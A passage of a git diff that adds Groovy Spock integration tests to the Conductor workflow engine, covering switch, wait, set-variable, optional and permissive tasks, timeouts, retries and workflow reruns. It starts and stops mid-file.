Arrays.asList(d1)); + decision.getDecisionCases().put("b", Arrays.asList(d2)); + + + workflowDef.getTasks().add(task1); + workflowDef.getTasks().add(decision); + + request.setName(workflowDef.getName()); + request.setVersion(workflowDef.getVersion()); + + Queue task1Executions = new LinkedList<>(); + task1Executions.add(new WorkflowTestRequest.TaskMock(TaskResult.Status.COMPLETED, Map.of("key", "value"))); + + request.getTaskRefToMockOutput().put("task1", task1Executions); + + request.setWorkflowDef(workflowDef); + request.setInput(Map.of("case", "b")); + + when: "Start the workflow which has the set variable task" + def workflow = workflowTestService.testWorkflow(request) + + then: "verify that the simple task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflow.getWorkflowId(), true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'task1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData["key"] == "value" + + tasks[1].taskType == 'SWITCH' + tasks[1].status == Task.Status.COMPLETED + + tasks[2].taskType == 'task2' + tasks[2].referenceTaskName == 'd2' + tasks[2].status == Task.Status.SCHEDULED + } + + + } + + +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/WaitTaskSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/WaitTaskSpec.groovy new file mode 100644 index 0000000..d00577c --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/WaitTaskSpec.groovy @@ -0,0 +1,134 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedLargePayloadTask +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class WaitTaskSpec extends AbstractSpecification { + + @Shared + def WAIT_BASED_WORKFLOW = 'test_wait_workflow' + def SET_VARIABLE_WORKFLOW = 'set_variable_workflow_integration_test' + + def setup() { + workflowTestUtil.registerWorkflows('wait_workflow_integration_test.json', + 'set_variable_workflow_integration_test.json') + } + + def "Test workflow with set variable task"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['var'] = "var_test_value" + + when: "Start the workflow which has the set variable task" + def workflowInstanceId = startWorkflow(SET_VARIABLE_WORKFLOW, 1, + '', workflowInput, null) + + then: "verify that the simple task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'simple' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'simple' with external payload storage" + def pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteTask('simple', 'simple.worker', + ['ok1': 'ov1']) + + then: "verify that the 'simple' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + then: "ensure that the wait task is completed and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'simple' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SET_VARIABLE' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'WAIT' + tasks[2].status == Task.Status.IN_PROGRESS + variables as String == '[var:var_test_value]' + } + + when: "The wait task is completed" + def waitTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[2] + waitTask.status = Task.Status.COMPLETED + workflowExecutor.updateTask(new TaskResult(waitTask)) + + then: "ensure that the wait task is completed and the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'simple' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SET_VARIABLE' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'WAIT' + tasks[2].status == Task.Status.COMPLETED + variables as String == '[var:var_test_value]' + output as String == '[variables:[var:var_test_value]]' + } + } + + def "Verify that a wait based simple workflow is executed"() { + when: "Start a wait task based workflow" + def workflowInstanceId = startWorkflow(WAIT_BASED_WORKFLOW, 1, + '', [:], null) + + then: "Retrieve the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == TaskType.WAIT.name() + tasks[0].status == Task.Status.IN_PROGRESS + } + + when: "The wait task is completed" + def waitTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[0] + waitTask.status = Task.Status.COMPLETED + workflowExecutor.updateTask(new TaskResult(waitTask)) + + then: "ensure that the wait task is completed and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == TaskType.WAIT.name() + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "The integration_task_1 is polled and completed" + def polledAndCompletedTry1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "verify that the task was polled and completed and the workflow is in a complete state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTry1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/WorkflowAndTaskConfigurationSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/WorkflowAndTaskConfigurationSpec.groovy new file mode 100644 index 0000000..e3065b2 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/WorkflowAndTaskConfigurationSpec.groovy @@ -0,0 +1,1158 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.boot.test.context.SpringBootTest +import org.springframework.test.context.TestPropertySource + +import com.netflix.conductor.ConductorTestApp +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.StartWorkflowInput +import com.netflix.conductor.core.utils.Utils +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +@TestPropertySource(properties = [ + "conductor.db.type=memory", + "conductor.queue.type=xxx" +]) +class WorkflowAndTaskConfigurationSpec extends AbstractSpecification { + + @Autowired + QueueDAO queueDAO + + @Shared + def LINEAR_WORKFLOW_T1_T2 = 'integration_test_wf' + + @Shared + def TEMPLATED_LINEAR_WORKFLOW = 'integration_test_template_wf' + + @Shared + def WORKFLOW_WITH_OPTIONAL_TASK = 'optional_task_wf' + + @Shared + def WORKFLOW_WITH_PERMISSIVE_TASK = 'permissive_task_wf' + + @Shared + def WORKFLOW_WITH_PERMISSIVE_OPTIONAL_TASK = 'permissive_optional_task_wf' + + @Shared + def TEST_WORKFLOW = 'integration_test_wf3' + + @Shared + def WAIT_TIME_OUT_WORKFLOW = 'test_wait_timeout' + + def setup() { + //Register LINEAR_WORKFLOW_T1_T2, TEST_WORKFLOW, RTOWF, WORKFLOW_WITH_OPTIONAL_TASK, WORKFLOW_WITH_PERMISSIVE_TASK, WORKFLOW_WITH_PERMISSIVE_OPTIONAL_TASK + workflowTestUtil.registerWorkflows( + 'simple_workflow_1_integration_test.json', + 'simple_workflow_1_input_template_integration_test.json', + 'simple_workflow_3_integration_test.json', + 'simple_workflow_with_optional_task_integration_test.json', + 'simple_workflow_with_permissive_task_integration_test.json', + 'simple_workflow_with_permissive_optional_task_integration_test.json', + 'simple_wait_task_workflow_integration_test.json') + } + + def "Test simple workflow which has an optional task"() { + + given: "A input parameters for a workflow with an optional task" + def correlationId = 'integration_test' + UUID.randomUUID().toString() + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "An optional task workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_OPTIONAL_TASK, 1, + correlationId, workflowInput, + null) + + then: "verify that the workflow has started and the optional task is in a scheduled state" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'task_optional' + } + + when: "The first optional task is polled and failed" + Tuple polledAndFailedTaskTry1 = workflowTestUtil.pollAndFailTask('task_optional', + 'task1.integration.worker', 'NETWORK ERROR') + + then: "Verify that the task_optional was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndFailedTaskTry1) + + when: "A decide is executed on the workflow" + workflowExecutor.decide(workflowInstanceId) + + then: "verify that the workflow is still running and the first optional task has failed and the retry has kicked in" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'task_optional' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'task_optional' + } + + when: "Poll the optional task again and do not complete it and run decide" + workflowExecutionService.poll('task_optional', 'task1.integration.worker') + Thread.sleep(5000) + workflowExecutor.decide(workflowInstanceId) + + then: "Ensure that the workflow is updated" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].status == Task.Status.COMPLETED_WITH_ERRORS + tasks[1].taskType == 'task_optional' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + } + + when: "The second task 'integration_task_2' is polled and completed" + sweep(workflowInstanceId) + Tuple task2Try1 = null + conditions.eventually { + task2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + assert task2Try1[0] + } + + then: "Verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(task2Try1) + + and: "Ensure that the workflow is in completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + } + } + + def "Test simple workflow which has a permissive task"() { + + given: "A input parameters for a workflow with a permissive task" + def correlationId = 'integration_test' + UUID.randomUUID().toString() + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "A permissive task workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_PERMISSIVE_TASK, 1, + correlationId, workflowInput, + null) + + then: "verify that the workflow has started and the permissive task is in a scheduled state" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'task_permissive' + } + + when: "The first permissive task is polled and failed" + Tuple polledAndFailedTaskTry1 = workflowTestUtil.pollAndFailTask('task_permissive', + 'task1.integration.worker', 'NETWORK ERROR') + + then: "Verify that the task_permissive was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndFailedTaskTry1) + + when: "A decide is executed on the workflow" + workflowExecutor.decide(workflowInstanceId) + + then: "verify that the workflow is still running and the first permissive task has failed and the retry has kicked in" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'task_permissive' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'task_permissive' + } + + when: "The first permissive task is polled and failed" + Tuple polledAndFailedTaskTry2 = workflowTestUtil.pollAndFailTask('task_permissive', + 'task1.integration.worker', 'NETWORK ERROR') + + then: "Verify that the task_permissive was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndFailedTaskTry2) + + workflowExecutor.decide(workflowInstanceId) + + then: "Ensure that the workflow is updated" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].status == Task.Status.FAILED + tasks[1].taskType == 'task_permissive' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + } + + when: "The second task 'integration_task_2' is polled and completed" + sweep(workflowInstanceId) + Tuple task2Try1 = null + conditions.eventually { + task2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + assert task2Try1[0] + } + + then: "Verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(task2Try1) + + and: "Ensure that the workflow is in completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + reasonForIncompletion == "Task ${tasks[1].taskId} failed with status: FAILED and reason: 'NETWORK ERROR'" + tasks.size() == 3 + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + } + } + + def "Test simple workflow which has a permissive optional task"() { + + given: "A input parameters for a workflow with a permissive optional task" + def correlationId = 'integration_test' + UUID.randomUUID().toString() + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "A permissive optional task workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_PERMISSIVE_OPTIONAL_TASK, 1, + correlationId, workflowInput, + null) + + then: "verify that the workflow has started and the permissive optional task is in a scheduled state" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'task_optional' + } + + when: "The first permissive optional task is polled and failed" + Tuple polledAndFailedTaskTry1 = workflowTestUtil.pollAndFailTask('task_optional', + 'task1.integration.worker', 'NETWORK ERROR') + + then: "Verify that the task_optional was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndFailedTaskTry1) + + when: "A decide is executed on the workflow" + workflowExecutor.decide(workflowInstanceId) + + then: "verify that the workflow is still running and the first permissive optional task has failed and the retry has kicked in" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'task_optional' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'task_optional' + } + + when: "Poll the permissive optional task again and do not complete it and run decide" + workflowExecutionService.poll('task_optional', 'task1.integration.worker') + Thread.sleep(5000) + workflowExecutor.decide(workflowInstanceId) + + then: "Ensure that the workflow is updated" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].status == Task.Status.COMPLETED_WITH_ERRORS + tasks[1].taskType == 'task_optional' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + } + + when: "The second task 'integration_task_2' is polled and completed" + def task2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "Verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(task2Try1) + + and: "Ensure that the workflow is in completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + } + } + + def "test workflow with input template parsing"() { + given: "Input parameters for a workflow with input template" + def correlationId = 'integration_test' + UUID.randomUUID().toString() + def workflowInput = new HashMap() + // leave other params blank on purpose to test input templates + workflowInput['param3'] = 'external string' + + when: "Is executed and completes" + def workflowInstanceId = startWorkflow(TEMPLATED_LINEAR_WORKFLOW, 1, + correlationId, workflowInput, + null) + workflowExecutor.decide(workflowInstanceId) + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "Verify that input template is processed" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + output == [ + output: "task1.done", + param3: 'external string', + param2: ['list', 'of', 'strings'], + param1: [nested_object: [nested_key: "nested_value"]] + ] + } + } + + def "Test simple workflow with task time out configuration"() { + + setup: "Register a task definition with retry policy on time out" + def persistedTask1Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_1').get() + def modifiedTaskDefinition = new TaskDef(persistedTask1Definition.name, persistedTask1Definition.description, + persistedTask1Definition.ownerEmail, 1, 1, 1) + modifiedTaskDefinition.retryDelaySeconds = 0 + modifiedTaskDefinition.timeoutPolicy = TaskDef.TimeoutPolicy.RETRY + metadataService.updateTaskDef(modifiedTaskDefinition) + + when: "A simple workflow is started that has a task with time out and retry configured" + String correlationId = 'unit_test_1' + UUID.randomUUID() + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + input['failureWfName'] = 'FanInOutTest' + + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, input, + null) + + then: "Ensure that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "The decider queue has one task that is ready to be polled" + queueDAO.getSize(Utils.DECIDER_QUEUE) == 1 + + when: "The the first task 'integration_task_1' is polled and acknowledged" + def task1Try1 = workflowExecutionService.poll('integration_task_1', 'task1.worker') + + then: "Ensure that a task was polled" + task1Try1 + task1Try1.workflowInstanceId == workflowInstanceId + + and: "Ensure that the decider size queue is 1 to to enable the evaluation" + queueDAO.getSize(Utils.DECIDER_QUEUE) == 1 + + when: "There is a delay of 3 seconds introduced and the workflow is sweeped to run the evaluation" + Thread.sleep(3000) + sweep(workflowInstanceId) + + then: "Ensure that the first task has been TIMED OUT and the next task is SCHEDULED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.TIMED_OUT + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "Poll for the task again and acknowledge" + def task1Try2 = workflowExecutionService.poll('integration_task_1', 'task1.worker') + + then: "Ensure that a task was polled" + task1Try2 + task1Try2.workflowInstanceId == workflowInstanceId + + when: "There is a delay of 3 seconds introduced and the workflow is swept to run the evaluation" + Thread.sleep(3000) + sweep(workflowInstanceId) + + then: "Ensure that the first task has been TIMED OUT and the next task is SCHEDULED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TIMED_OUT + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.TIMED_OUT + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.TIMED_OUT + } + + cleanup: "Ensure that the changes of the 'integration_task_1' are reverted" + metadataService.updateTaskDef(persistedTask1Definition) + } + + def "Test workflow timeout configurations"() { + setup: "Get the workflow definition and change the workflow configuration" + def testWorkflowDefinition = metadataService.getWorkflowDef(TEST_WORKFLOW, 1) + testWorkflowDefinition.timeoutPolicy = WorkflowDef.TimeoutPolicy.TIME_OUT_WF + testWorkflowDefinition.timeoutSeconds = 5 + metadataService.updateWorkflowDef(testWorkflowDefinition) + + when: "A simple workflow is started that has a workflow timeout configured" + String correlationId = 'unit_test_3' + UUID.randomUUID() + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + input['failureWfName'] = 'FanInOutTest' + + def workflowInstanceId = startWorkflow(TEST_WORKFLOW, 1, + correlationId, input, + null) + + then: "Ensure that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The the first task 'integration_task_1' is polled and acknowledged" + def task1Try1 = workflowExecutionService.poll('integration_task_1', 'task1.worker') + + then: "Ensure that a task was polled" + task1Try1 + task1Try1.workflowInstanceId == workflowInstanceId + + when: "There is a delay of 6 seconds introduced and the workflow is swept to run the evaluation" + Thread.sleep(6000) + sweep(workflowInstanceId) + + then: "Ensure that the workflow has timed out" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TIMED_OUT + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + } + + cleanup: "Ensure that the workflow configuration changes are reverted" + testWorkflowDefinition.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + testWorkflowDefinition.timeoutSeconds = 0 + metadataService.updateWorkflowDef(testWorkflowDefinition) + } + + def "Test retrying a timed out workflow due to workflow timeout"() { + setup: "Get the workflow definition and change the workflow configuration" + def testWorkflowDefinition = metadataService.getWorkflowDef(TEST_WORKFLOW, 1) + testWorkflowDefinition.timeoutPolicy = WorkflowDef.TimeoutPolicy.TIME_OUT_WF + testWorkflowDefinition.timeoutSeconds = 5 + metadataService.updateWorkflowDef(testWorkflowDefinition) + + when: "A simple workflow is started that has a workflow timeout configured" + String correlationId = 'retry_timeout_wf' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + + def workflowInstanceId = startWorkflow(TEST_WORKFLOW, 1, + correlationId, input, null) + + then: "Ensure that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The the first task 'integration_task_1' is polled and acknowledged" + def task1Try1 = workflowExecutionService.poll('integration_task_1', 'task1.worker') + + then: "Ensure that a task was polled" + task1Try1 + task1Try1.workflowInstanceId == workflowInstanceId + + when: "There is a delay of 6 seconds introduced and the workflow is swept to run the evaluation" + Thread.sleep(6000) + sweep(workflowInstanceId) + + then: "Ensure that the workflow has timed out" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TIMED_OUT + lastRetriedTime == 0 + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + } + + when: "Retrying the workflow" + workflowExecutor.retry(workflowInstanceId, false) + + then: "Ensure that the workflow is RUNNING and task is retried" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + lastRetriedTime != 0 + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.SCHEDULED + } + + cleanup: "Ensure that the workflow configuration changes are reverted" + testWorkflowDefinition.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + testWorkflowDefinition.timeoutSeconds = 0 + metadataService.updateWorkflowDef(testWorkflowDefinition) + } + + def "Test retrying a timed out workflow due to workflow timeout without unsuccessful tasks"() { + setup: "Get the workflow definition and change the workflow configuration" + def testWorkflowDefinition = metadataService.getWorkflowDef(TEST_WORKFLOW, 1) + testWorkflowDefinition.timeoutPolicy = WorkflowDef.TimeoutPolicy.TIME_OUT_WF + testWorkflowDefinition.timeoutSeconds = 5 + metadataService.updateWorkflowDef(testWorkflowDefinition) + + when: "A simple workflow is started that has a workflow timeout configured" + String correlationId = 'retry_timeout_wf' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + + def workflowInstanceId = startWorkflow(TEST_WORKFLOW, 1, + correlationId, input, null) + + then: "Ensure that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The the first task 'integration_task_1' is polled and acknowledged" + def task1 = workflowExecutionService.poll('integration_task_1', 'task1.worker') + + then: "Ensure that a task was polled" + task1 + task1.workflowInstanceId == workflowInstanceId + + when: "The task is completed and then a delay triggers workflow timeout" + task1.status = Task.Status.COMPLETED + workflowExecutor.updateTask(new TaskResult(task1)) + Thread.sleep(6000) + sweep(workflowInstanceId) + + then: "verify that the workflow is TIMED_OUT and task1 is still COMPLETED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TIMED_OUT + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + } + + when: "Retrying the workflow" + workflowExecutor.retry(workflowInstanceId, false) + sweep(workflowInstanceId) + + then: "Ensure that the workflow is RUNNING and the completed task is preserved" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + lastRetriedTime != 0 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks.any { it.taskType == 'integration_task_2' && it.status == Task.Status.SCHEDULED } + } + + cleanup: "Ensure that the workflow configuration changes are reverted" + testWorkflowDefinition.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + testWorkflowDefinition.timeoutSeconds = 0 + metadataService.updateWorkflowDef(testWorkflowDefinition) + } + + def "Test re-running the simple workflow multiple times after completion"() { + + given: "input required to start the workflow execution" + String correlationId = 'unit_test_1' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + + when: "Start a workflow based on the registered simple workflow" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, input, + null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Poll and complete the 'integration_task_1' " + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "verify that the 'integration_task1' is complete and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll and complete 'integration_task_2'" + def pollAndCompleteTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the 'integration_task_2' has been polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try1, ['tp1': inputParam1, 'tp2': 'task1.done']) + + and: "verify that the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + output.containsKey('o3') + } + + when: "The completed workflow is re run after integration_task_1" + def reRunWorkflowRequest1 = new RerunWorkflowRequest() + reRunWorkflowRequest1.reRunFromWorkflowId = workflowInstanceId + def reRunTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[1].taskId + reRunWorkflowRequest1.reRunFromTaskId = reRunTaskId + def reRun1WorkflowInstanceId = workflowExecutor.rerun(reRunWorkflowRequest1) + + then: "Verify that the workflow is in running state and has started the re run after task 1" + with(workflowExecutionService.getExecutionStatus(reRun1WorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status 